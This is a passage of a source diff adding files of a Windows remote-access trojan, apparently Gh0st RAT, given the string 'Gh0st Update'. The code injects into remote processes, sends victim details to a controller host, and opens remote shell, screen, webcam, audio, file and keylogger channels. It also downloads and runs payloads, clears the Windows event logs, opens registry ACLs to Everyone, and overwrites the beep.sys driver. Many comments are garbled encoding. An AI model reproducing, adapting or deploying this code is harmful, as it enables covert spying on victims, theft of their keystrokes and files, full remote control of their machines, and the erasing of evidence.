SC_MANAGER_CREATE_SERVICE);
service = pRemoteParam->MyOpenService(
scm, pRemoteParam->strServiceName,
SERVICE_ALL_ACCESS | DELETE);
if (scm==NULL&&service == NULL)
return -1;
if (!pRemoteParam->MyQueryServiceStatus(service, &Status))
return -1;
if (Status.dwCurrentState != SERVICE_STOPPED)
{
if (!pRemoteParam->MyControlService(service, SERVICE_CONTROL_STOP, &Status))
return -1;
// Wait to service stopped
pRemoteParam->MySleep(1000);
}
// delete service
pRemoteParam->MyDeleteService(service);
// delete regkey
pRemoteParam->MySHDeleteKey(HKEY_LOCAL_MACHINE, pRemoteParam->strServiceRegKey);
if (service != NULL)
pRemoteParam->MyCloseServiceHandle(service);
if (scm != NULL)
pRemoteParam->MyCloseServiceHandle(scm);
return 0;
}
bool InjectRemoveService(LPCTSTR lpProcessName, char *lpServiceName)
{
EnableDebugPriv();
HANDLE hProcess;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, GetProcessID(lpProcessName));
if (hProcess == NULL)
return false;
//////////////////////////////////////////////////////////////////////////
REMOTE_PARAMETER remoteParameter;
memset(&remoteParameter, 0, sizeof(remoteParameter));
HMODULE hAdvapi32 = LoadLibrary("advapi32.dll");
remoteParameter.MyOpenSCManager = (TOpenSCManager)GetProcAddress(hAdvapi32, "OpenSCManagerA");
remoteParameter.MyOpenService = (TOpenService)GetProcAddress(hAdvapi32, "OpenServiceA");
remoteParameter.MyQueryServiceStatus = (TQueryServiceStatus)GetProcAddress(hAdvapi32, "QueryServiceStatus");
remoteParameter.MyControlService = (TControlService)GetProcAddress(hAdvapi32, "ControlService");
remoteParameter.MyStartService = (TStartService)GetProcAddress(hAdvapi32, "StartServiceA");
remoteParameter.MyDeleteService = (TDeleteService)GetProcAddress(hAdvapi32, "DeleteService");
remoteParameter.MyCloseServiceHandle = (TCloseServiceHandle)GetProcAddress(hAdvapi32, "CloseServiceHandle");
FreeLibrary(hAdvapi32);
HMODULE hShlwapi = LoadLibrary("shlwapi.dll");
remoteParameter.MySHDeleteKey = (TSHDeleteKey)GetProcAddress(hShlwapi, "SHDeleteKeyA");
FreeLibrary(hShlwapi);
HMODULE hKernel32 = LoadLibrary("kernel32.dll");
remoteParameter.MySleep = (TSleep)GetProcAddress(hKernel32, "Sleep");
remoteParameter.MyCloseHandle = (TCloseHandle)GetProcAddress(hKernel32, "CloseHandle");
FreeLibrary(hKernel32);
lstrcpy(remoteParameter.strServiceName, lpServiceName);
lstrcpy(remoteParameter.strServiceRegKey, "SYSTEM\\CurrentControlSet\\Services\\");
lstrcat(remoteParameter.strServiceRegKey, remoteParameter.strServiceName);
//////////////////////////////////////////////////////////////////////////
// Write thread parameter to Remote thread
void *pDataRemote = (char*)VirtualAllocEx(hProcess, 0, sizeof(remoteParameter),
MEM_COMMIT, PAGE_READWRITE);
if (!pDataRemote)
return false;
if (!WriteProcessMemory( hProcess, pDataRemote, &remoteParameter, sizeof(remoteParameter), NULL))
return false;
// Write Code to Remote thread
DWORD cbCodeSize= THREADSIZE; // <20><><EFBFBD><EFBFBD><EFBFBD>Ŀռ<D5BC><E4B2BB>һ<EFBFBD><EFBFBD><E3A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WriteProcessMemroy<6F><79>ʧ<EFBFBD><CAA7>
PDWORD pCodeRemote = (PDWORD)VirtualAllocEx(hProcess, 0, cbCodeSize, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (!pCodeRemote)
return false;
if (!WriteProcessMemory(hProcess, pCodeRemote, &MyFunc, cbCodeSize, NULL))
return false;
if (CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCodeRemote, pDataRemote, 0, NULL) == NULL)
return false;
return true;
}
#endif // !defined(AFX_INJECT_H_INCLUDED)

View File

@@ -0,0 +1,234 @@
#include "install.h"
#include "until.h"
#include <Shlwapi.h>
void RemoveService(LPCTSTR lpServiceName)
{
char Desc[MAX_PATH];
char regKey[1024];
SC_HANDLE service = NULL, scm = NULL;
SERVICE_STATUS Status;
__try
{
scm = OpenSCManager(NULL, NULL,
SC_MANAGER_ALL_ACCESS);
service = OpenService(
scm, lpServiceName,
SERVICE_ALL_ACCESS);
if (scm==NULL&&service == NULL)
__leave;
if (!QueryServiceStatus(service, &Status))
__leave;
if (Status.dwCurrentState != SERVICE_STOPPED)
{
if (!ControlService(service,
SERVICE_CONTROL_STOP,
&Status))
__leave;
Sleep(800);
}
DeleteService(service);
memset(regKey, 0, sizeof(regKey));
wsprintf(regKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
SHDeleteKey(HKEY_LOCAL_MACHINE, regKey);
}
__finally
{
if (service != NULL)
CloseServiceHandle(service);
if (scm != NULL)
CloseServiceHandle(scm);
}
return;
}
void DeleteInstallFile(char *lpServiceName)
{
char strInstallModule[MAX_PATH];
char strSubKey[1024];
memset(strInstallModule, 0, sizeof(strInstallModule));
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
ReadRegEx(HKEY_LOCAL_MACHINE, strSubKey,
"InstallModule", REG_SZ, strInstallModule, NULL, lstrlen(strInstallModule), 0);
// ɾ<><C9BE><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>ļ<EFBFBD>
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "InstallModule", REG_SZ, NULL, NULL, 3);
for (int i = 0; i < 25; i++)
{
Sleep(3000);
if (DeleteFile(strInstallModule))
break;
}
}
int memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da,i,j;
if (sizes == 0) da = strlen(str);
else da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j ++)
if (mem[i+j] != str[j]) break;
if (j == da) return i;
}
return -1;
}
#define MAX_CONFIG_LEN 1024
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString)
{
char strFileName[MAX_PATH];
char *lpConfigString = NULL;
DWORD dwBytesRead = 0;
GetModuleFileName(hModule, strFileName, sizeof(strFileName));
HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return NULL;
}
SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
lpConfigString = new char[MAX_CONFIG_LEN];
ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
CloseHandle(hFile);
int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
if (offset == -1)
{
delete lpConfigString;
return NULL;
}
else
{
return lpConfigString + offset;
}
}
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void ReConfigService(char *lpServiceName)
{
int rc = 0;
HKEY hKey = 0;
try{
char buff[500];
//config service
strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
strcat(buff, lpServiceName);
rc = RegCreateKey(HKEY_LOCAL_MACHINE, buff, &hKey);
if(ERROR_SUCCESS != rc)
{
throw "";
}
// <20><><EFBFBD><EFBFBD>ΪOwner<65>ģ<EFBFBD><C4A3><EFBFBD>ΪShare
DWORD dwType = 0x120;
rc = RegSetValueEx(hKey, "Type", 0, REG_DWORD, (unsigned char*)&dwType, sizeof(DWORD));
SetLastError(rc);
if(ERROR_SUCCESS != rc)
throw "RegSetValueEx(start)";
}
catch(char *str)
{
if(str && str[0])
{
rc = GetLastError();
}
}
RegCloseKey(hKey);
}
// <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>ȡȨ<C8A1><C8A8>
BOOL RegKeySetACL(LPTSTR lpKeyName, DWORD AccessPermissions, ACCESS_MODE AccessMode)
{
PSECURITY_DESCRIPTOR SD;
EXPLICIT_ACCESS ea;
PACL OldDACL, NewDACL;
SE_OBJECT_TYPE ObjectType = SE_REGISTRY_KEY; //#include <aclapi.h>
//Ĭ<>Ϸ<EFBFBD><CFB7><EFBFBD>ֵΪFALSE
BOOL bRet = FALSE;
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>յ<EFBFBD>ACL;
if (SetEntriesInAcl(0, NULL, NULL, &OldDACL) != ERROR_SUCCESS)
return bRet;
if (SetEntriesInAcl(0, NULL, NULL, &NewDACL) != ERROR_SUCCESS)
return bRet;
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>е<EFBFBD>ACL<43>б<EFBFBD><D0B1><EFBFBD>OldDACL:
if(GetNamedSecurityInfo(lpKeyName, ObjectType,
DACL_SECURITY_INFORMATION,
NULL, NULL,
&OldDACL,
NULL, &SD) != ERROR_SUCCESS)
{
return bRet;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>"Everyone"<22><>ָ<EFBFBD><D6B8><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD>ṹea:
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
char *lpUsers[] = {"SYSTEM", "Administrators", "Everyone", "Users"};
for (int i = 0; i < sizeof(lpUsers) / sizeof(char *); i++)
{
BuildExplicitAccessWithName(&ea,
lpUsers[i], // name of trustee
AccessPermissions, // type of access
AccessMode, // access mode
SUB_CONTAINERS_AND_OBJECTS_INHERIT); //<2F>Ӽ<EFBFBD><D3BC>̳<EFBFBD><CCB3><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
}
//<2F>ϲ<EFBFBD><CFB2>ṹea<65><61>OldDACL<43><4C>Ȩ<EFBFBD><C8A8><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>µ<EFBFBD>NewDACL:
if (SetEntriesInAcl(1, &ea, NULL, &NewDACL) == ERROR_SUCCESS)
{
//<2F><><EFBFBD>µ<EFBFBD>ACLд<4C>뵽ָ<EBB5BD><D6B8><EFBFBD>ļ<EFBFBD>:
SetNamedSecurityInfo(lpKeyName, ObjectType,
DACL_SECURITY_INFORMATION,
NULL, NULL,
NewDACL,
NULL);
bRet = TRUE;
}
//<2F>ͷ<EFBFBD>ָ<EFBFBD><D6B8>
if(SD != NULL)
LocalFree((HLOCAL) SD);
if(NewDACL != NULL)
LocalFree((HLOCAL) NewDACL);
if(OldDACL != NULL)
LocalFree((HLOCAL) OldDACL);
return bRet;
}
DWORD QueryServiceTypeFromRegedit(char *lpServiceName)
{
int rc = 0;
HKEY hKey = 0;
DWORD dwServiceType = 0;
try{
char buff[500];
//config service
strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
strcat(buff, lpServiceName);
rc = RegOpenKey(HKEY_LOCAL_MACHINE, buff, &hKey);
if(ERROR_SUCCESS != rc)
{
throw "";
}
DWORD type, size = sizeof(DWORD);
rc = RegQueryValueEx(hKey, "Type", 0, &type, (unsigned char *)&dwServiceType, &size);
RegCloseKey(hKey);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
throw "RegQueryValueEx(Type)";
}
catch(...)
{
}
RegCloseKey(hKey);
return dwServiceType;
}

View File

@@ -0,0 +1,14 @@
#if !defined(AFX_INSTALL_H_INCLUDED)
#define AFX_INSTALL_H_INCLUDED
#include <windows.h>
#include <aclapi.h>
void DeleteInstallFile(char *lpServiceName);
bool IsServiceRegExists(char *lpServiceName);
void ReConfigService(char *lpServiceName);
DWORD QueryServiceTypeFromRegedit(char *lpServiceName);
void RemoveService(LPCTSTR lpServiceName);
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString);
int memfind(const char *mem, const char *str, int sizem, int sizes);
BOOL RegKeySetACL(LPTSTR lpKeyName, DWORD AccessPermissions, ACCESS_MODE AccessMode);
#endif // !defined(AFX_INSTALL_H_INCLUDED)

View File

@@ -0,0 +1,210 @@
#include <wininet.h>
#include <stdlib.h>
#include <vfw.h>
#include "decode.h"
#include "until.h"
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "vfw32.lib")
typedef struct
{
BYTE bToken; // = 1
OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ
int CPUClockMhz; // CPU<50><55>Ƶ
IN_ADDR IPAddress; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
char HostName[50]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool bIsWebCam; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
}LOGININFO;
void SplitLoginInfo(char *lpDecodeString, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD lppProxyPort,
char **lppszProxyUser, char **lppszProxyPass)
{
*lppszHost = NULL;
*lppPort = 0;
*lppszProxyHost = NULL;
*lppProxyPort = 0;
*lppszProxyUser = NULL;
*lppszProxyPass = NULL;
bool bIsProxyUsed = false;
bool bIsAuth = false;
UINT nSize = lstrlen(lpDecodeString) + 1;
char *lpString = new char[nSize];
memcpy(lpString, lpDecodeString, nSize);
char *pStart, *pNext, *pEnd;
*lppszHost = lpString;
if ((pStart = strchr(lpString, ':')) == NULL)
return;
*pStart = '\0';
if ((pNext = strchr(pStart + 1, '|')) != NULL)
{
bIsProxyUsed = true;
*pNext = '\0';
}
*lppPort = atoi(pStart + 1);
if (!bIsProxyUsed)
return;
pNext++;
*lppszProxyHost = pNext;
if ((pStart = strchr(pNext, ':')) == NULL)
return;
*pStart = '\0';
if ((pNext = strchr(pStart + 1, '|')) != NULL)
{
bIsAuth = true;
*pNext = '\0';
}
*lppProxyPort = atoi(pStart + 1);
if (!bIsAuth)
return;
pNext++;
*lppszProxyUser = pNext;
if ((pStart = strchr(pNext, ':')) == NULL)
return;
*pStart = '\0';
*lppszProxyPass = pStart + 1;
}
bool getLoginInfo(char *lpURL, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD lppProxyPort,
char **lppszProxyUser, char **lppszProxyPass)
{
if (lpURL == NULL)
return false;
char *pStart, *pEnd;
char buffer[2048];
char strEncode[1024];
DWORD dwBytesRead = 0;
bool bRet = false;
// û<><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (strstr(lpURL, "http://") == NULL && strstr(lpURL, "https://") == NULL)
{
SplitLoginInfo(lpURL, lppszHost, lppPort, lppszProxyHost, lppProxyPort, lppszProxyUser, lppszProxyPass);
return true;
}
HINTERNET hNet;
HINTERNET hFile;
hNet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
if (hNet == NULL)
return bRet;
hFile = InternetOpenUrl(hNet, lpURL, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0);
if (hFile == NULL)
return bRet;
do
{
memset(buffer, 0, sizeof(buffer));
InternetReadFile(hFile, buffer, sizeof(buffer), &dwBytesRead);
if ((pStart = strstr(buffer, "AAAA")) == NULL)
continue;
pStart += 4;
if ((pEnd = strstr(pStart, "AAAA")) == NULL)
continue;
memset(strEncode, 0, sizeof(strEncode));
memcpy(strEncode, pStart, pEnd - pStart);
char *lpDecodeString = MyDecode(strEncode);
SplitLoginInfo(lpDecodeString, lppszHost, lppPort, lppszProxyHost, lppProxyPort, lppszProxyUser, lppszProxyPass);
bRet = true;
} while (dwBytesRead > 0);
InternetCloseHandle(hFile);
InternetCloseHandle(hNet);
return bRet;
}
// Get System Information
DWORD CPUClockMhz()
{
HKEY hKey;
DWORD dwCPUMhz;
DWORD dwBytes = sizeof(DWORD);
DWORD dwType = REG_DWORD;
RegOpenKey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMhz, &dwBytes);
RegCloseKey(hKey);
return dwCPUMhz;
}
bool IsWebCam()
{
bool bRet = false;
char lpszName[100], lpszVer[50];
for (int i = 0; i < 10 && !bRet; i++)
{
bRet = capGetDriverDescription(i, lpszName, sizeof(lpszName),
lpszVer, sizeof(lpszVer));
}
return bRet;
}
UINT GetHostRemark(LPCTSTR lpServiceName, LPTSTR lpBuffer, UINT uSize)
{
char strSubKey[1024];
memset(lpBuffer, 0, uSize);
memset(strSubKey, 0, sizeof(strSubKey));
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
ReadRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpBuffer, NULL, uSize, 0);
if (lstrlen(lpBuffer) == 0)
gethostname(lpBuffer, uSize);
return lstrlen(lpBuffer);
}
int sendLoginInfo(LPCTSTR strServiceName, CClientSocket *pClient, DWORD dwSpeed)
{
int nRet = SOCKET_ERROR;
// <20><>¼<EFBFBD><C2BC>Ϣ
LOGININFO LoginInfo;
// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LoginInfo.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
LoginInfo.bIsWebCam = 0; //û<><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
LoginInfo.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((OSVERSIONINFO *)&LoginInfo.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// IP<49><50>Ϣ
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char hostname[256];
GetHostRemark(strServiceName, hostname, sizeof(hostname));
// <20><><EFBFBD>ӵ<EFBFBD>IP<49><50>ַ
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
getsockname(pClient->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
memcpy(&LoginInfo.IPAddress, (void *)&sockAddr.sin_addr, sizeof(IN_ADDR));
memcpy(&LoginInfo.HostName, hostname, sizeof(LoginInfo.HostName));
// CPU
LoginInfo.CPUClockMhz = CPUClockMhz();
LoginInfo.bIsWebCam = IsWebCam();
// Speed
LoginInfo.dwSpeed = dwSpeed;
nRet = pClient->Send((LPBYTE)&LoginInfo, sizeof(LOGININFO));
return nRet;
}

View File

@@ -0,0 +1,238 @@
#if !defined(AFX_LOOP_H_INCLUDED)
#define AFX_LOOP_H_INCLUDED
#include "KernelManager.h"
#include "FileManager.h"
#include "ScreenManager.h"
#include "ShellManager.h"
#include "VideoManager.h"
#include "AudioManager.h"
#include "SystemManager.h"
#include "KeyboardManager.h"
#include "until.h"
#include "install.h"
#include <wininet.h>
extern bool g_bSignalHook;
DWORD WINAPI Loop_FileManager(SOCKET sRemote)
{
//---<2D><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>
CClientSocket socketClient;
//<2F><><EFBFBD><EFBFBD>
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1; //<2F><><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD>
//---<2D><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CManager Ҳ<><D2B2><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>պ<EFBFBD><D5BA>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD> CFileManager::OnReceive
CFileManager manager(&socketClient);
socketClient.run_event_loop(); //---<2D>ȴ<EFBFBD><C8B4>߳̽<DFB3><CCBD><EFBFBD>
return 0;
}
DWORD WINAPI Loop_ShellManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CShellManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CScreenManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
// <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͬһ<CDAC>̵߳<DFB3><CCB5><EFBFBD>sendDIB<49><42><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI Loop_VideoManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CVideoManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
DWORD WINAPI Loop_AudioManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CAudioManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
DWORD WINAPI Loop_HookKeyboard(LPARAM lparam)
{
char strKeyboardOfflineRecord[MAX_PATH];
GetSystemDirectory(strKeyboardOfflineRecord, sizeof(strKeyboardOfflineRecord));
lstrcat(strKeyboardOfflineRecord, "\\syslog.dat");
if (GetFileAttributes(strKeyboardOfflineRecord) != -1)
g_bSignalHook = true;
else
g_bSignalHook = false;
while (1)
{
while (g_bSignalHook == false)Sleep(100);
CKeyboardManager::StartHook();
while (g_bSignalHook == true)Sleep(100);
CKeyboardManager::StopHook();
}
return 0;
}
DWORD WINAPI Loop_KeyboardManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CKeyboardManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
DWORD WINAPI Loop_SystemManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CSystemManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
DWORD WINAPI Loop_DownManager(LPVOID lparam)
{
int nUrlLength;
char *lpURL = NULL;
char *lpFileName = NULL;
nUrlLength = strlen((char *)lparam);
if (nUrlLength == 0)
return false;
lpURL = (char *)malloc(nUrlLength + 1);
memcpy(lpURL, lparam, nUrlLength + 1);
lpFileName = strrchr(lpURL, '/') + 1;
if (lpFileName == NULL)
return false;
if (!http_get(lpURL, lpFileName))
{
return false;
}
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
si.lpDesktop = "WinSta0\\Default";
CreateProcess(NULL, lpFileName, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
return true;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>urldowntofile<6C>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E1BFA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool UpdateServer(LPCTSTR lpURL)
{
char *lpFileName = NULL;
lpFileName = strrchr(lpURL, '/') + 1;
if (lpFileName == NULL)
return false;
if (!http_get(lpURL, lpFileName))
return false;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
si.lpDesktop = "WinSta0\\Default";
return CreateProcess(lpFileName, "Gh0st Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi);
}
bool OpenURL(LPCTSTR lpszURL, INT nShowCmd)
{
if (strlen(lpszURL) == 0)
return false;
// System Ȩ<><C8A8><EFBFBD>²<EFBFBD><C2B2><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>shellexecute<74><65>ִ<EFBFBD><D6B4>
char *lpSubKey = "Applications\\iexplore.exe\\shell\\open\\command";
HKEY hKey;
char strIEPath[MAX_PATH];
LONG nSize = sizeof(strIEPath);
char *lpstrCat = NULL;
memset(strIEPath, 0, sizeof(strIEPath));
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
return false;
RegQueryValue(hKey, NULL, strIEPath, &nSize);
RegCloseKey(hKey);
if (lstrlen(strIEPath) == 0)
return false;
lpstrCat = strstr(strIEPath, "%1");
if (lpstrCat == NULL)
return false;
lstrcpy(lpstrCat, lpszURL);
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
if (nShowCmd != SW_HIDE)
si.lpDesktop = "WinSta0\\Default";
CreateProcess(NULL, strIEPath, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
return 0;
}
void CleanEvent()
{
char *strEventName[] = {"Application", "Security", "System"};
for (int i = 0; i < sizeof(strEventName) / sizeof(int); i++)
{
HANDLE hHandle = OpenEventLog(NULL, strEventName[i]);
if (hHandle == NULL)
continue;
ClearEventLog(hHandle, NULL);
CloseEventLog(hHandle);
}
}
void SetHostID(LPCTSTR lpServiceName, LPCTSTR lpHostID)
{
char strSubKey[1024];
memset(strSubKey, 0, sizeof(strSubKey));
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpHostID, lstrlen(lpHostID), 0);
}
#endif // !defined(AFX_LOOP_H_INCLUDED)

View File

@@ -0,0 +1,436 @@
#include <windows.h>
#include <shlwapi.h>
#include <winioctl.h>
#include "resource.h"
#define IOCTL_SETPROC (ULONG)CTL_CODE( FILE_DEVICE_UNKNOWN, 0x852, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA )
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
#define ibaseDD *(PDWORD)&ibase
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PFNNtQuerySystemInformation)(
DWORD SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;
typedef struct {
DWORD dwNumberOfModules;
SYSTEM_MODULE_INFORMATION smi;
} MODULES, *PMODULES;
//----------------------------------------------------------------
// stuff not found in header files
//----------------------------------------------------------------
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else // MIDL_PASS
PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;
typedef long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef
NTSTATUS
(__stdcall *ZWSETSYSTEMINFORMATION)(
DWORD SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength
);
typedef
VOID
(__stdcall *RTLINITUNICODESTRING)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
ZWSETSYSTEMINFORMATION ZwSetSystemInformation;
RTLINITUNICODESTRING RtlInitUnicodeString;
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
char g_strService[10]; // "Beep"
char g_strBeepSys[MAX_PATH]; // "c:\\windows\\system32\\Drivers\\beep.sys"
LPBYTE g_lpBeepSys = NULL;
DWORD g_dwBeepLen = 0;
BOOL ModifyFromResource(HMODULE hModule, WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName)
{
HGLOBAL hRes;
HRSRC hResInfo;
HANDLE hFile;
DWORD dwBytes = 0;
hResInfo = FindResource(hModule, MAKEINTRESOURCE(wResourceID), lpType);
if (hResInfo == NULL)
return FALSE;
hRes = LoadResource(hModule, hResInfo);
if (hRes == NULL)
return FALSE;
hFile = CreateFile
(
lpFileName,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
TRUNCATE_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == NULL)
return FALSE;
WriteFile(hFile, hRes, SizeofResource(hModule, hResInfo), &dwBytes, NULL);
CloseHandle(hFile);
return TRUE;
}
